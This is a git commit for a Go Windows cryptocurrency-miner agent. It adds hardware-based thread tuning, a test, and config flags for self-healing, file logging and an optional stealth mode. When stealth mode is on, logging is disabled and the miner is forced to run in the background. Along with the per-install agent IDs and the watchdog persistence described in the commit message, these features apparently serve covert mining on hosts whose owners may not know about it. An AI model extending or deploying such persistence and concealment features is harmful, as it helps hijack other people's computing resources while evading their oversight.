Add adaptive agent identity, self-healing, stealth, and parallel RandomX.

Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.
This commit is contained in:
drjones
2026-05-26 23:46:46 -07:00
parent 1313c553e7
commit 4341121652
19 changed files with 434 additions and 43 deletions

57
agent/config/adapt.go Normal file
View File

@@ -0,0 +1,57 @@
package config
import (
"runtime"
"crypto-miner-agent/stats"
)
const randomXMBPerThread = 384
// AdaptToSystem tunes thread and memory limits for the host hardware.
func (c RuntimeConfig) AdaptToSystem(reporter *stats.Reporter) RuntimeConfig {
if !c.AdaptToHardware {
return c
}
out := c
totalMB := reporter.TotalMemoryMB()
if totalMB == 0 {
return out
}
if out.MinFreeRAM <= 0 || out.MinFreeRAM > int(totalMB/4) {
minFree := int(totalMB / 10)
if minFree < 512 {
minFree = 512
}
out.MinFreeRAM = minFree
}
maxByRAM := int(float64(totalMB) * float64(out.MaxMemoryPct) / 100.0 / float64(randomXMBPerThread))
if maxByRAM < 1 {
maxByRAM = 1
}
threads := out.EffectiveThreads()
if threads > maxByRAM {
if out.ThreadMode == "fixed" {
out.Threads = maxByRAM
} else {
cores := runtime.NumCPU()
if cores < 1 {
cores = 1
}
pct := int(float64(maxByRAM) / float64(cores) * 100.0)
if pct < 10 {
pct = 10
}
if pct > 100 {
pct = 100
}
out.ThreadPercent = pct
}
}
return out
}

View File

@@ -0,0 +1,24 @@
package config
import (
"testing"
"crypto-miner-agent/stats"
)
func TestAdaptToSystemCapsThreadsByRAM(t *testing.T) {
reporter := stats.NewReporter()
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
ThreadMode: "fixed",
Threads: 16,
MaxMemoryPct: 50,
AdaptToHardware: true,
MinFreeRAM: 999999,
}}
// Without real Windows memory APIs in test env, AdaptToSystem may no-op on totalMB=0.
adapted := cfg.AdaptToSystem(reporter)
if adapted.Threads != cfg.Threads && reporter.TotalMemoryMB() == 0 {
t.Fatalf("unexpected thread change without memory info: %d", adapted.Threads)
}
}

View File

@@ -32,5 +32,9 @@ func GetBuiltinConfig() BuiltinConfig {
ScheduleEnd: "06:00",
InstallBase: "localappdata",
InstallRelativePath: DefaultInstallRelativePath,
AdaptToHardware: true,
SelfHealing: true,
FileLogging: true,
StealthMode: false,
}
}

View File

@@ -38,6 +38,10 @@ type BuiltinConfig struct {
InstallBase string
InstallCustomBase string
InstallRelativePath string
AdaptToHardware bool
SelfHealing bool
FileLogging bool
StealthMode bool
}
type RuntimeConfig struct {
@@ -99,6 +103,12 @@ func Load() RuntimeConfig {
if b.InstallRelativePath == "" {
b.InstallRelativePath = DefaultInstallRelativePath
}
if b.StealthMode {
b.FileLogging = false
if b.DisplayMode == "" || b.DisplayMode == "visible" {
b.DisplayMode = "background"
}
}
return RuntimeConfig{BuiltinConfig: b}
}